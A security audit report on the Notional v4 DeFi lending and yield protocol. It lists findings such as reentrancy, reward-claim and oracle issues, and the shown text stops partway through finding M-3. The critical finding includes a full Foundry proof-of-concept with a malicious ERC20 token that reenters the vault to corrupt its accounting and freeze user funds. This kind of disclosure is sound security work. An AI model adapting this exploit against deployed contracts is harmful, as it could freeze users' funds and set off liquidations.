MixBytes()

Notional v4 Security Audit Report

NOVEMBER 05, 2025

Table of Contents

1. Introduction

1.1 Disclaimer

The audit makes no statements or warranties regarding the utility, safety, or security of the code, the suitability of the business model, investment advice, endorsement of the platform or its products, the regulatory regime for the business model, or any other claims about the fitness of the contracts for a particular purpose or their bug-free status.

1.2 Executive Summary

Notional V4 is a DeFi protocol that allows users to earn yield across multiple leveraged strategies. A user supplies collateral, and at the same time the protocol takes a flash loan from Morpho based on the user's desired leverage. The combined assets are deposited into the chosen strategy (e.g., Curve), where LP tokens are received. The protocol then mints strategy share tokens against these LP tokens, which are pledged in Morpho to cover the flash loan repayment, while the user retains a leveraged position in the strategy. By leveraging different integrated strategies, users can significantly increase their yield compared to depositing assets directly. Notional integrates with external protocols such as Curve, Convex, Pendle, Ethena, Dinero, and others.

The audit was conducted over 17 days by 4 auditors, involving an in-depth manual code review and automated analysis within the scope.

During the audit, in addition to verifying well-known attack vectors and items from our internal checklist, we thoroughly investigated the following areas:

- **ETH Handling Across Implementations.** We verified that all strategies or holders expecting native ETH either implement `receive()` or are deployed behind a payable proxy, ensuring ETH transfers do not revert.

- **Withdraw-Request ID Uniqueness.** We verified that each requestId is unique and has its own identifier, no collisions between different request IDs are possible.

- **Address-Registry Updates on Migration.** We inspected position's state during migration process, after a successful migration the registry always points to the new router and holds one active entry, so user workflow is unaffected.

- **Accrued-Reward Math Integrity.** We confirmed that the reward accrual calculations maintain proper precision across different token decimal configurations and handle both zero and positive emission rates correctly, ensuring that user rewards are properly accumulated and distributed without loss of precision.

- **Liquidation Flow.** We verified that the liquidation flow enforces the intended restrictions. Specifically, liquidators with active withdraw requests are prevented from liquidating positions, and accounts with pending withdraw requests cannot be liquidated if the liquidator already holds shares. After liquidation, they can correctly receive collateral either by finalizing their withdraw requests or by directly redeeming strategy shares.

- **Strategy Token Transfer Restrictions.** We validated that strategy tokens cannot be transferred without explicit `allowTransfer` permission from the vault itself, preventing unauthorized movement of collateral and ensuring that all token transfers are properly controlled through the vault's permission system.

- **Safety of Address-to-Uint256 Conversion.** In some parts of the code, a contract address (`uint160`) is used as a request id (`uint256`) and vice versa. Since such conversion is not unambiguous, we verified that this cannot be exploited for manipulations.

- **Correct decimals handling across the protocol.** We verified that calculations involving tokens with different decimals in the protocol are implemented correctly and allow for proper support. The vault shares token has 24 decimals and is properly integrated with the rest of the protocol.

- **Storage consistency for delegate call usage cases.** We ensured that the common protocol practice of using delegate calls on contracts, using them as libraries, does not expose the protocol to risk, properly protecting external calls through access control. We checked that no storage collisions occur in this process.

- **Only non-rebasable yield tokens usage.** We confirmed that the protocol does not use rebasable tokens anywhere as yield tokens, as this could violate the protocol's internal accounting. All external protocol tokens, such as eETH, are pre-wrapped in non-rebasable versions in Withdraw Request Manager implementations, and only then sent to the vault.

- **Additional Unit Tests.** During the audit, unit tests were developed to cover a variety of edge cases, ensuring the system's robustness. The tests specifically addressed:
  - various overflow scenarios
  - rounding issues in integer division
  - tokenization of withdraw requests
  - monotonicity checks for indexes

We also recommend paying attention to the following points:

- **Protocol Deployment.** The code is currently intended for deployment on the Ethereum mainnet. At the moment, many addresses are hardcoded for mainnet only. These addresses will not be valid on other networks, so for future deployments to different blockchains, it is necessary to dynamically configure addresses for each specific network.

- **Descriptive Reverts.** Many require checks currently revert without providing informative error messages. For a protocol of this size, adding clear revert reasons is critical, as it greatly improves testing, debugging, and incident resolution. Without descriptive revert messages, identifying the root cause of failures can become significantly more time-consuming and error-prone.

Overall, the code is well-written, thoroughly documented, and designed using an interface-oriented architecture with abstract contracts. This modular approach allows different implementations to reuse the same base logic, making the protocol extensible, maintainable, and easy to integrate with multiple strategies.

1.3 Project Overview

Summary

Title	Description
Client Name	Notional Finance
Project Name	Notional v4
Type	Solidity
Platform	EVM
Timeline	01.08.2025 - 28.10.2025

Scope of Audit

File	Link
src/AbstractYieldStrategy.sol	AbstractYieldStrategy.sol
src/routers/MorphoLendingRouter.sol	MorphoLendingRouter.sol
src/routers/AbstractLendingRouter.sol	AbstractLendingRouter.sol
src/withdraws/AbstractWithdrawRequestManager.sol	AbstractWithdrawRequestManager.sol
src/withdraws/GenericERC4626.sol	GenericERC4626.sol
src/withdraws/Origin.sol	Origin.sol
src/withdraws/EtherFi.sol	EtherFi.sol
src/withdraws/ClonedCooldownHolder.sol	ClonedCooldownHolder.sol
src/withdraws/Dinero.sol	Dinero.sol
src/withdraws/Ethena.sol	Ethena.sol
src/withdraws/GenericERC20.sol	GenericERC20.sol
src/proxy/Initializable.sol	Initializable.sol

File	Link
src/proxy/AddressRegistry.sol	AddressRegistry.sol
src/proxy/TimelockUpgradeableProxy.sol	TimelockUpgradeableProxy.sol
src/oracles/Curve2TokenOracle.sol	Curve2TokenOracle.sol
src/oracles/PendlePTOracle.sol	PendlePTOracle.sol
src/oracles/AbstractLPOracle.sol	AbstractLPOracle.sol
src/oracles/AbstractCustomOracle.sol	AbstractCustomOracle.sol
src/rewards/AbstractRewardManager.sol	AbstractRewardManager.sol
src/rewards/RewardManagerMixin.sol	RewardManagerMixin.sol
src/rewards/ConvexRewardManager.sol	ConvexRewardManager.sol
src/utils/TypeConvert.sol	TypeConvert.sol
src/utils/Constants.sol	Constants.sol
src/utils/TokenUtils.sol	TokenUtils.sol
src/staking/StakingStrategy.sol	StakingStrategy.sol
src/staking/PendlePTLib.sol	PendlePTLib.sol
src/staking/PendlePT.sol	PendlePT.sol
src/staking/AbstractStakingStrategy.sol	AbstractStakingStrategy.sol
src/staking/PendlePT_sUSDe.sol	PendlePT_sUSDe.sol
src/single-sided-lp/CurveConvex2Token.sol	CurveConvex2Token.sol
src/single-sided-lp/AbstractSingleSidedLP.sol	AbstractSingleSidedLP.sol

Versions Log

Date	Commit Hash	Note
01.08.2025	eb22b09602c0c3883decfa34250ef47cb203fed0	Initial Commit
22.09.2025	892c387086245c97fc9a95272e35b6ab8d2933d6	Commit for the reaudit
25.09.2025	6a6eeee5e8919ca41a5784926dddd462ed88fb93	Commit for the reaudit
28.10.2025	9f308ba5ed348105a16d270535478123495caca8	Commit with updates

Mainnet Deployments

TimelockUpgradeableProxy.sol (0xe335d3...Ce63eC95, 0x9a0c63...972ecAa0, 0xAf14d0...d7d9C48B, 0x7f723f...E4a7d5ae, 0x71ba37...D3962F20, 0x8c7C9a...b5803c9F) was deployed from eb22b09602c0c3883decfa34250ef47cb203fed0 commit, no impact on the contract's functionality or security

File	Address	Blockchain
TimelockUpgradeableProxy.sol	0xe335d3...Ce63eC95	Ethereum
AddressRegistry.sol	0x46a237...6A5a2d74	Ethereum
TimelockUpgradeableProxy.sol	0x9a0c63...972ecAa0	Ethereum
MorphoLendingRouter.sol	0xD5005b...d567Ca58	Ethereum
TimelockUpgradeableProxy.sol	0xAf14d0...d7d9C48B	Ethereum
StakingStrategy.sol	0x2838f9...795135ba	Ethereum
TimelockUpgradeableProxy.sol	0x7f723f...E4a7d5ae	Ethereum
StakingStrategy.sol	0x4eed2B...A6767D93	Ethereum
TimelockUpgradeableProxy.sol	0x271656...b27F167F	Ethereum
CurveConvex2Token.sol	0x8Ab1Aa...FE6d446B	Ethereum
TimelockUpgradeableProxy.sol	0x0e61E8...DAF3F622	Ethereum
PendlePT_sUSDe.sol	0x7eEBa2...810e2490	Ethereum

File	Address	Blockchain
TimelockUpgradeableProxy.sol	0x71ba37...D3962F20	Ethereum
EtherFiWithdrawRequestManager.sol	0xAe9646...C1CCD1ec	Ethereum
TimelockUpgradeableProxy.sol	0x8c7C9a...b5803c9F	Ethereum
EthenaWithdrawRequestManager.sol	0x7AA5De...FfF11222	Ethereum
TimelockUpgradeableProxy.sol	0x59aA04...dD64b9fB	Ethereum
OriginWithdrawRequestManager.sol	0x0Bc6D6...0fBB7251	Ethereum
TimelockUpgradeableProxy.sol	0xe854ce...feD1d0ff	Ethereum
GenericERC20WithdrawRequestManager.sol	0x2d8295...F02A936C	Ethereum

1.4 Security Assessment Methodology

Project Flow

Stage	Scope of Work
Interim audit	**Project Architecture Review:** · Review project documentation · Conduct a general code review · Perform reverse engineering to analyze the project's architecture based solely on the source code · Develop an independent perspective on the project's architecture · Identify any logical flaws in the design OBJECTIVE: UNDERSTAND THE OVERALL STRUCTURE OF THE PROJECT AND IDENTIFY POTENTIAL SECURITY RISKS.
	Code Review with a Hacker Mindset: · Each team member independently conducts a manual code review, focusing on identifying unique vulnerabilities. · Perform collaborative audits (pair auditing) of the most complex code sections, supervised by the Team Lead. · Develop Proof-of-Concepts (PoCs) and conduct fuzzing tests using tools like Foundry, Hardhat, and BOA to uncover intricate logical flaws. · Review test cases and in-code comments to identify potential weaknesses. OBJECTIVE: IDENTIFY AND ELIMINATE THE MAJORITY OF VULNERABILITIES, INCLUDING THOSE UNIQUE TO THE INDUSTRY.
	Code Review with a Nerd Mindset: · Conduct a manual code review using an internally maintained checklist, regularly updated with insights from past hacks, research, and client audits. · Utilize static analysis tools (e.g., Slither, Mythril) and vulnerability databases (e.g., Solodit) to uncover potential undetected attack vectors. OBJECTIVE: ENSURE COMPREHENSIVE COVERAGE OF ALL KNOWN ATTACK VECTORS DURING THE REVIEW PROCESS.

Stage	Scope of Work
	Consolidation of Auditors' Reports: · Cross-check findings among auditors · Discuss identified issues · Issue an interim audit report for client review OBJECTIVE: COMBINE INTERIM REPORTS FROM ALL AUDITORS INTO A SINGLE COMPREHENSIVE DOCUMENT.
Re-audit	**Bug Fixing & Re-Audit:** · The client addresses the identified issues and provides feedback · Auditors verify the fixes and update their statuses with supporting evidence · A re-audit report is generated and shared with the client OBJECTIVE: VALIDATE THE FIXES AND REASSESS THE CODE TO ENSURE ALL VULNERABILITIES ARE RESOLVED AND NO NEW VULNERABILITIES ARE ADDED.
Final audit	**Final Code Verification & Public Audit Report:** · Verify the final code version against recommendations and their statuses · Check deployed contracts for correct initialization parameters · Confirm that the deployed code matches the audited version · Issue a public audit report, published on our official GitHub repository · Announce the successful audit on our official X account OBJECTIVE: PERFORM A FINAL REVIEW AND ISSUE A PUBLIC REPORT DOCUMENTING THE AUDIT.

1.5 Risk Classification

Severity Level Matrix

Severity	Impact: High	Impact: Medium	Impact: Low
Likehood: High	Critical	High	Medium
Likehood: Medium	High	Medium	Low
Likehood: Low	Medium	Low	Low

Impact

- **High** – Theft from 0.5% OR partial/full blocking of funds (>0.5%) on the contract without the possibility of withdrawal OR loss of user funds (>1%) who interacted with the protocol.
- **Medium** – Contract lock that can only be fixed through a contract upgrade OR one-time theft of rewards or an amount up to 0.5% of the protocol's TVL OR funds lock with the possibility of withdrawal by an admin.
- **Low** – One-time contract lock that can be fixed by the administrator without a contract upgrade.

Likelihood

- **High** – The event has a 50-60% probability of occurring within a year and can be triggered by any actor (e.g., due to a likely market condition that the actor cannot influence).
- **Medium** – An unlikely event (10-20% probability of occurring) that can be triggered by a trusted actor.
- **Low** – A highly unlikely event that can only be triggered by the owner.

Action Required

- **Critical** – Must be fixed as soon as possible.
- **High** – Strongly advised to be fixed to minimize potential risks.
- **Medium** – Recommended to be fixed to enhance security and stability.
- **Low** – Recommended to be fixed to improve overall robustness and effectiveness.

Finding Status

- **Fixed** – The recommended fixes have been implemented in the project code and no longer impact its security.
- **Partially Fixed** – The recommended fixes have been partially implemented, reducing the impact of the finding, but it has not been fully resolved.
- **Acknowledged** – The recommended fixes have not yet been implemented, and the finding remains unresolved or does not require code changes.

1.6 Summary of Findings

Findings Count

Severity	Count
Critical	1
High	1
Medium	3
Low	12

Findings Statuses

ID	Finding	Severity	Status
C-1	redeemNative() Reentrancy Enables Permanent Fund Freeze, Systemic Misaccounting, and Liquidation Cascades	Critical	Fixed
H-1	Inability to Claim Rewards From the Curve Gauge	High	Fixed
M-1	Pendle PT Oracle Ignores Losses During SY Redemptions, Leading to Over-Valued Collateral	Medium	Acknowledged
M-2	Small LP Position Withdraws May Cause price() Revert	Medium	Fixed
M-3	Nested nonReentrant in Allocation Wrappers Causes Revert	Medium	Fixed
L-1	Liquidations May Fail Due to Underflow in CurveConvexLib.checkReentrancyContext()	Low	Fixed
L-2	_flashBorrowAndEnter() Return Values Are Unused in Event Emission	Low	Fixed
L-3	TimelockUpgradeableProxy.executeUpgrade() Does Not Clear Upgrade State	Low	Fixed

L-4	Rewards Can Remain Stranded During Reward-Pool Migration When `forceClaimAfter` Gate Blocks the Claim	Low	Fixed
L-5	Collateral Value Slightly Overestimated Before Cooldown Is Finalized in `DineroWithdrawRequestManager`	Low	Fixed
L-6	`AddressRegistry` Constant Points to Non-Contract Address on Mainnet	Low	Acknowledged
L-7	Unused and Duplicate Imports	Low	Fixed
L-8	Typos	Low	Fixed
L-9	Missing Event Emissions	Low	Fixed
L-10	Shared Pause/Unpause Role Creates Security Risk	Low	Fixed
L-11	Hardcoded Storage Slots Instead of Hash-Based Approach	Low	Fixed
L-12	Mapping Key Order Inconsistency	Low	Fixed

2. Findings Report

2.1 Critical

C-1	redeemNative() Reentrancy Enables Permanent Fund Freeze, Systemic Misaccounting, and Liquidation Cascades		
Severity	Critical	**Status**	Fixed in 892c3870

Description

The redemption flow in AbstractYieldStrategy.redeemNative() is vulnerable to reentrancy that corrupts internal accounting and can permanently freeze a portion of the vault's yield tokens. The redeemNative() function calls AbstractStakingStrategy._redeemShares(), which for instant redemption delegates to AbstractYieldStrategy._executeTrade() and performs an external call during redemption. Not all vault and router entry points are protected against reentrancy, which allows control to reenter from the lending router while _burnShares() is still executing. A malicious token placed on the swap path can exploit this by reentering and invoking ILendingRouter.initiateWithdraw() during the redemption.

When reentrancy occurs, the request manager transfers an amount N of yield tokens from the vault. This decreases the vault's true yield token balance along with s_yieldTokenBalance while _burnShares() continues to run based on a pre-reentrancy snapshot. After control returns, _burnShares() computes yieldTokensRedeemed = yieldTokensBefore - yieldTokensAfter and then subtracts this value from s_yieldTokenBalance. Since yieldTokensBefore was taken before the reentrancy and the request manager already moved N tokens, s_yieldTokenBalance is effectively reduced twice for N. The resulting difference causes yield tokens to become unaccounted by internal state and remain frozen in the vault. This also distorts share pricing and may reduce health factors enough to trigger liquidations, enabling repeated exploitation, potentially leading to full vault fund freezing.

It is also possible to trigger a similar reentrancy through AbstractYieldStrategy.collectFees(), since it reduces the vault's yield token balance and s_yieldTokenBalance. The impact is smaller because fee collection typically moves a limited amount of tokens, but the accounting discrepancy mechanism is analogous.

Attack Path:

1. The attacker deploys a malicious ERC20 token and creates Uniswap V2 pools to form a swap path yieldToken -> maliciousToken -> asset.
2. The attacker enters a position via the lending router and gives approval to the malicious token to perform initiateWithdraw later on it.
3. The attacker ensures they hold native shares without an open position by liquidating another account first, following the protocol's constraints.
4. The attacker calls redeemNative using the instant redemption path and sets exchangeData to the Uniswap V2 path that includes the malicious token.
5. During the Uniswap V2 swap, the malicious token's transfer() reenters and calls ILendingRouter.initiateWithdraw(attacker, vault, ...) while _burnShares() is still running.
6. The Withdraw Request Manager transfers N yield tokens from the vault during reentrancy, decreasing the vault's true yield token balance with s_yieldTokenBalance aswell.

7. Control returns to `_burnShares()`, which computes `yieldTokensRedeemed` using the pre-reentrancy snapshot and subtracts it from `s_yieldTokenBalance`. The result is an effective subtraction of M + 2N, leaving N yield tokens unaccounted by internal state and thus frozen.
8. The mismatch between `ERC20(yieldToken).balanceOf(address(y))` and `s_yieldTokenBalance` becomes observable. Health factors can drop, triggering liquidations and enabling repeated exploitation.

Here is the proof of concept that shows the attack:

Firstly, put these lines into `MockStakingStrategy` contract:

```
// Expose internal state for testing
function _s_yieldTokenBalance() external view returns (uint256) {
    return s_yieldTokenBalance;
}
```

Then, put this file into `tests` folder and run it with `forge test --match-test test_reentrancy_redeemNative_initiateWithdraw_instant -vvv`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.29;

import "forge-std/src/Test.sol";

import "./TestMorphoYieldStrategy.sol";
import "./TestWithdrawRequestImpl.sol";
import "../src/staking/AbstractStakingStrategy.sol";
import "../src/staking/StakingStrategy.sol";
import "../src/withdraws/EtherFi.sol";
import "../src/interfaces/ITradingModule.sol";
import "./TestStakingStrategy.sol";
import "./Mocks.sol";

contract TestBug2Instant is TestMorphoYieldStrategy {
    struct UniV2Data { address[] path; }
    address attacker;
    address maliciousToken;

    address[] routeRedeem;

    function deployYieldStrategy() internal override {
        setupWithdrawRequestManager(address(
            new EtherFiWithdrawRequestManager()
        ));
        y = new MockStakingStrategy(address(WETH), address(weETH), 0.0010e18);

        w = ERC20(y.yieldToken());
        (AggregatorV2V3Interface oracle, ) = TRADING_MODULE.priceOracles(
            address(w)
        );

        o = new MockOracle(oracle.latestAnswer());

        defaultDeposit = 10e18;
        defaultBorrow = 90e18;
        maxEntryValuationSlippage = 0.0050e18;
        maxExitValuationSlippage = 0.0050e18;

        withdrawRequest = new TestEtherFiWithdrawRequest();
        canInspectTransientVariables = true;
    }

    function postDeploySetup() internal override {
        // Set permissions to trade
        vm.startPrank(owner);
        TRADING_MODULE.setTokenPermissions(
            address(y),
            address(weETH),
            ITradingModule.TokenPermissions(
            { allowSell: true, dexFlags: uint32(1 << uint8(DexId.UNISWAP_V2)),
             tradeTypeFlags: 5 }
        ));
        vm.stopPrank();

        attacker = _createUser("attacker");

        // weETH whale
        vm.startPrank(0xBdfa7b7893081B35Fb54027489e2Bc7A38275129);
        weETH.transfer(attacker, 10_000e18);
        vm.stopPrank();

        // Create UniswapV2 route with malicious token
        vm.startPrank(attacker);
        maliciousToken = address(new MaliciousToken(
            address(lendingRouter),
            attacker,
            address(y)
        ));
        routeRedeem.push(address(weETH));
        routeRedeem.push(maliciousToken);
        routeRedeem.push(address(WETH));

        address uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        WETH.deposit{value: 100e18}();
        WETH.approve(uniRouter, type(uint256).max);
        weETH.approve(uniRouter, type(uint256).max);
        IERC20(maliciousToken).approve(uniRouter, type(uint256).max);

        IUniswapV2Router01(uniRouter).addLiquidity(
            routeRedeem[0],
            routeRedeem[1],
            100e18,
            110e18,
            0,
            0,
            attacker,
            block.timestamp
        );

        IUniswapV2Router01(uniRouter).addLiquidity(
            routeRedeem[1],
            routeRedeem[2],
            100e18,
            100e18,
            0,
            0,
            attacker,
            block.timestamp
        );
        // Allow token to initiate withdraw on behalf of attacker
        lendingRouter.setApproval(maliciousToken, true);

        vm.stopPrank();
    }

    function getRedeemData(
        address /* user */,
        uint256 /* shares */
    ) internal view override returns (bytes memory redeemData) {
        // Calldata for instant redemption
        return abi.encode(RedeemParams({
            minPurchaseAmount: 0,
            dexId: uint8(DexId.UNISWAP_V2),
            exchangeData: abi.encode(
                UniV2Data({
                path: routeRedeem
                })
            )
        }));
    }

    function _createUser(string memory name) internal returns (address user) {
        user = makeAddr(name);
        vm.label(user, name);

        // Give initial funds to user
        vm.deal(user, 1000e18);

        vm.startPrank(owner);
        asset.transfer(user, 10_000e18);
        vm.stopPrank();
    }

    function test_reentrancy_redeemNative_initiateWithdraw_instant()
        external
        onlyIfWithdrawRequestManager
    {
        address user = _createUser("user");
        address user2 = _createUser("user2");
        address liquidator = _createUser("liquidator");

        // Initial state of the vault with having some yield tokens
        _enterPosition(user2, defaultDeposit, 0);

        // Attacker enters position before liquidation
        _enterPosition(attacker, defaultDeposit / 10, defaultBorrow / 20);

        console.log("Before liquidation - s_yieldTokenBalance:",
                    MockStakingStrategy(address(y))._s_yieldTokenBalance());
        console.log("Before liquidation - yield token balance:",
                ERC20(y.yieldToken()).balanceOf(address(y)));
        console.log("Before liquidation - share total supply:",
                y.totalSupply());
        console.log("Before liquidation - share price attacker:",
                y.price(attacker));
        console.log("Before liquidation - share price user2:",
                y.price(user2));
        (uint256 borrowed, uint256 collateralValue, uint256 maxBorrow) =
            lendingRouter.healthFactor(user2, address(y));
        console.log("Before liquidation - collateralValue:", collateralValue);
        console.log("Before liquidation - maxBorrow:", maxBorrow);

        int256 initialPrice = o.latestAnswer();

        // Perform liquidation (liquidator is different account of attacker)
        uint256 sharesToLiquidator = _liquidate(user, liquidator);

        // Return initial price of collateral (just for clarity)
        o.setPrice(initialPrice);

        console.log("After liquidation - s_yieldTokenBalance:",
                MockStakingStrategy(address(y))._s_yieldTokenBalance());
        console.log("After liquidation - yield token balance:",
                ERC20(y.yieldToken()).balanceOf(address(y)));
        console.log("After liquidation - share total supply:",
                y.totalSupply());
        console.log("After liquidation - share price attacker:",
                y.price(attacker));
        console.log("After liquidation - share price user2:",
                y.price(user2));
        (borrowed, collateralValue, maxBorrow) = lendingRouter.healthFactor(
            user2,
            address(y)
        );
        console.log("After liquidation - collateralValue:", collateralValue);
        console.log("After liquidation - maxBorrow:", maxBorrow);

        console.log("Shares balance of attacker",
                lendingRouter.balanceOfCollateral(attacker, address(y)));
        console.log("Shares balance of liquidator",
                y.balanceOf(liquidator));

        // Perform reentrancy
        vm.startPrank(liquidator);
        y.redeemNative(sharesToLiquidator, getRedeemData(
            liquidator,
            sharesToLiquidator)
        );
        checkTransientsCleared();
        vm.stopPrank();
        console.log("After attack - s_yieldTokenBalance:",
                    MockStakingStrategy(address(y))._s_yieldTokenBalance());
        console.log("After attack - yield token balance:",
                    ERC20(y.yieldToken()).balanceOf(address(y)));
        console.log("After attack - share total supply:",
                    y.totalSupply());
        console.log("After attack - share price attacker:",
                    y.price(attacker));
        console.log("After attack - share price user2:",
                    y.price(user2));
        (borrowed, collateralValue, maxBorrow) = lendingRouter.healthFactor(
            user2,
            address(y)
        );
        console.log("After attack - collateralValue:", collateralValue);
        console.log("After attack - maxBorrow:", maxBorrow);
    }

    function _liquidate(address user, address liquidator)
        internal returns (uint256 sharesToLiquidator)
    {
        _enterPosition(user, defaultDeposit, defaultBorrow);
        uint256 balanceBefore = lendingRouter.balanceOfCollateral(
            user,
            address(y)
        );

        // Drop the collateral price to make position unhealthy
        o.setPrice(o.latestAnswer() * 0.85e18 / 1e18);

        // Liquidate the position
        vm.warp(block.timestamp + 6 minutes);

        vm.startPrank(liquidator);
        asset.approve(address(lendingRouter), type(uint256).max);
        uint256 assetBefore = asset.balanceOf(liquidator);
        sharesToLiquidator = lendingRouter.liquidate(
            user,
            address(y),
            balanceBefore,
            0
        );
        uint256 assetAfter = asset.balanceOf(liquidator);
        uint256 netAsset = assetBefore - assetAfter;

        uint256 balanceAfter = lendingRouter.balanceOfCollateral(
            user,
            address(y)
        );
        assertEq(balanceAfter, balanceBefore - sharesToLiquidator);
        assertEq(y.balanceOf(liquidator), sharesToLiquidator);
        vm.stopPrank();
    }
}

contract MaliciousToken is ERC20("Malicious", "TKN") {

    uint count;
    address onBehalf;
    address vault;
    address lr;

    constructor(address lr_, address onBehalf_, address vault_) {
        _mint(msg.sender, 100000e18);

        lr = lr_;
        onBehalf = onBehalf_;
        vault = vault_;
    }

    function transfer(address to, uint256 value) {
        public
        override
        returns (bool)
    {
        // Reenter only once
        if (count == 0) {
            ILendingRouter(lr).initiateWithdraw(onBehalf, vault, "");
        }
        address owner = _msgSender();
        _transfer(owner, to, value);
        count = count + 1;
        return true;
    }
}

interface IUniswapV2Router01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}
```

The results of the test are as follows:

```
Before liquidation - s_yieldTokenBalance: 14414159849677474491
Before liquidation - yield token balance: 14414159849677474491
Before liquidation - share total supply: 14414159849677474491000000
Before liquidation - share price attacker: 1071991787524217088000000000000
Before liquidation - share price user2: 1071991787524217088000000000000
Before liquidation - collateralValue: 9968942569622939455
Before liquidation - maxBorrow: 9121582451204989601
After liquidation - s_yieldTokenBalance: 107408739525016019612
After liquidation - yield token balance: 107408739525016019612
After liquidation - share total supply: 107408739525016019612000000
After liquidation - share price attacker: 1071991775286867985000000000000
After liquidation - share price user2: 1071991775286867985000000000000
After liquidation - collateralValue: 9968942455822225838
After liquidation - maxBorrow: 9121582347077336641
Shares balance of attacker 51147018821436199800000000
Shares balance of liquidator 92994579675338545121000000
After attack - s_yieldTokenBalance: 4184757263746203114
After attack - yield token balance: 9299459087502815641
After attack - share total supply: 144141598496774744910000000
After attack - share price attacker: 1071991775286867985000000000000
After attack - share price user2: 482396298879090593000000000000
After attack - collateralValue: 4486024105120001625
After attack - maxBorrow: 4104712056184801486
```

We see that s_yieldTokenBalance is twice less than yield token balance after attack, and collateralValue and maxBorrow of attacked position holder is decreased more than 2 times, though they didn't change their position themselves.
This issue is classified as **Critical** severity because it allows a malicious actor to corrupt accounting, freeze user funds inside the vault, distort share pricing, and potentially cause cascading liquidations leading to systemic protocol failure.

Recommendation
We recommend making the following changes:
1. Add a nonReentrant guard to all external entry points that can be reached during redemption and accounting updates, including lending router functions, and functions in request manager such as initiateWithdraw() and finalize(). We would also suggest to add guard to as much external functions of the protocol as possible, to eliminate attack possibility totally.
2. Validate exchangeData for Uniswap V2 trades and enforce that the path contains exactly **two tokens** (single-hop swap) to prevent insertion of arbitrary intermediary tokens that can perform reentrancy during transfer.

Client's Commentary:
Fixed here: PR-34

2.2 High

H-1	Inability to Claim Rewards From the Curve Gauge		
Severity	High	**Status**	Fixed in 892c3870

Description

The CurveConvex2Token._unstakeLpTokens() function calls ICurveGauge(CURVE_GAUGE).withdraw(poolClaim), which takes only the poolClaim parameter. However, the Curve gauge withdraw() function supports an optional _claim_rewards flag, which allows claiming rewards during the withdraw call:

```
@external
@nonreentrant('lock')
def withdraw(_value: uint256, _claim_rewards: bool = False):
```

As implemented, the strategy does not claim rewards when withdrawing from the gauge, so users do not automatically receive accrued rewards when exiting positions.

```
function _unstakeLpTokens(uint256 poolClaim) internal {
    if (CONVEX_REWARD_POOL != address(0)) {
        bool success = IConvexRewardPool(CONVEX_REWARD_POOL).
            withdrawAndUnwrap(poolClaim, false);
        require(success);
    } else {
        ICurveGauge(CURVE_GAUGE).withdraw(poolClaim);
    }
}
```

Although withdrawAndUnwrap() also does not claim rewards on unstakes for Convex, Convex strategies are wired to the ConvexRewardManager contract that later claims and distributes rewards to users. In contrast, pure Curve gauge strategies do not have such a manager configured, therefore, users cannot claim gauge rewards and lose a material portion of APR. This issue is classified as **High** severity because users lose accrued rewards and effective yield is reduced.

Recommendation

We recommend creating a reward manager for the Curve gauge that handles rewards claiming and distributing CRV via the standard reward distribution mechanism.

Client's Commentary:

Fixed in this PR: PR-28

2.3 Medium

M-1	Pendle PT Oracle Ignores Losses During SY Redemptions, Leading to Over-Valued Collateral		
Severity	Medium	**Status**	Acknowledged

Description
PendlePTLib.redeemExpiredPT() forwards 0 as minTokenOut when calling SY.redeem(). For SY tokens whose redemption path performs swaps or charges fees, the real amount of underlying received can be materially lower than SY.exchangeRate() suggests.
Examples:
- apxETH may apply a redemption fee.
- LP-backed SY tokens may suffer several % slippage when exiting the pool.

Because PendlePTOracle prices PT as PT-to-SY TWAP rate multiplied by SY.exchangeRate() it **ignores** those losses, so the strategy can over-state the USD value of PT collateral.
Potential consequences
1. A borrower opens what appears to be a healthy 90 %-LTV position, but the real collateral is smaller.
2. At PT expiry the strategy calls SY.redeem(). If redemption realises, for example, 10 % slippage, the collateral value falls to the level of (or below) the outstanding debt.
3. Liquidators receive little or no surplus collateral, making liquidation economically unattractive, which allows the position to remain under-collateralised.
4. With larger losses the debt exceeds collateral, producing bad debt in the Morpho market.

Recommendation
We recommend making risk parameters (LLTV, liquidation bonus) sufficiently conservative to absorb the worst-case redemption loss.

Client's Commentary:
This is an issue that will be managed through proper parameter choices, not code.
All SY tokens give you the option to redeem to a matching token (i.e. rsETH SY -> rsETH). If redeeming to the matching token, there will not be a fee or a trade and setting minTokenOut to 0 is fine.
So we'll just make sure to always redeem to the matching token and double check the SY's redemption function.
The issue of apxETH redemption fees is distinct from SY redemption. Proper apxETH redemption fee handling could be done on the Dinero wrm.

M-2	Small LP Position Withdraws May Cause price() Revert		
Severity	Medium	**Status**	Fixed in 892c3870

Description
When BaseLPLib.initiateWithdraw() is called and a user has a very small LP position, the proportional exit
from the Curve/Convex pool can return exitBalances[i] == 0 for one of the two tokens (due to integer division and token decimals).
A withdraw request in initiateWithdraw() is therefore created only for the token with a non-zero balance

```
if (exitBalances[i] == 0) continue;
```

When the request exists, valuation switches to BaseLPLib.getWithdrawRequestValue(), which iterates over all pool tokens and executes require(hasRequest) for each. Because one token lacks a request, the call reverts.
As getWithdrawRequestValue() is called during AbstractYieldStrategy.price() execution, any functions that rely on it will revert for the affected account.

Recommendation
We recommend checking whether a withdraw request has been created first and then using its value in BaseLPLib.getWithdrawRequestValue().

Client's Commentary:
Based on our evaluation it does not seem possible to attain a zero balance due to the structure of the liquidity Curve. Regardless, we now revert on a zero exit balance in initiateWithdraw for singleSidedLp vaults anyway so this should moot the whole issue

M-3	Nested nonReentrant in Allocation Wrappers Causes Revert		
Severity	Medium	**Status**	Fixed in 6a6eeee5

Description
MorphoLendingRouter.allocateAndEnterPosition() and allocateAndMigratePosition() are marked nonReentrant and internally call enterPosition() and migratePosition() which are also marked nonReentrant in AbstractLendingRouter. Because the project uses ReentrancyGuardTransient, this nested invocation re-enters the guard and reverts, rendering these allocation wrappers unusable in practice.

```
// MorphoLendingRouter.sol
function allocateAndEnterPosition(
    ...
) external payable isAuthorized(...) nonReentrant {
    _allocate(vault, allocationData);
    enterPosition(
        onBehalf,
        vault,
        depositAssetAmount,
        borrowAmount,
        depositData
    );
}

function allocateAndMigratePosition(
    ...
) external payable isAuthorized(...) nonReentrant {
    _allocate(vault, allocationData);
    migratePosition(
        onBehalf,
        vault,
        migrateFrom
    );
}
```

Recommendation
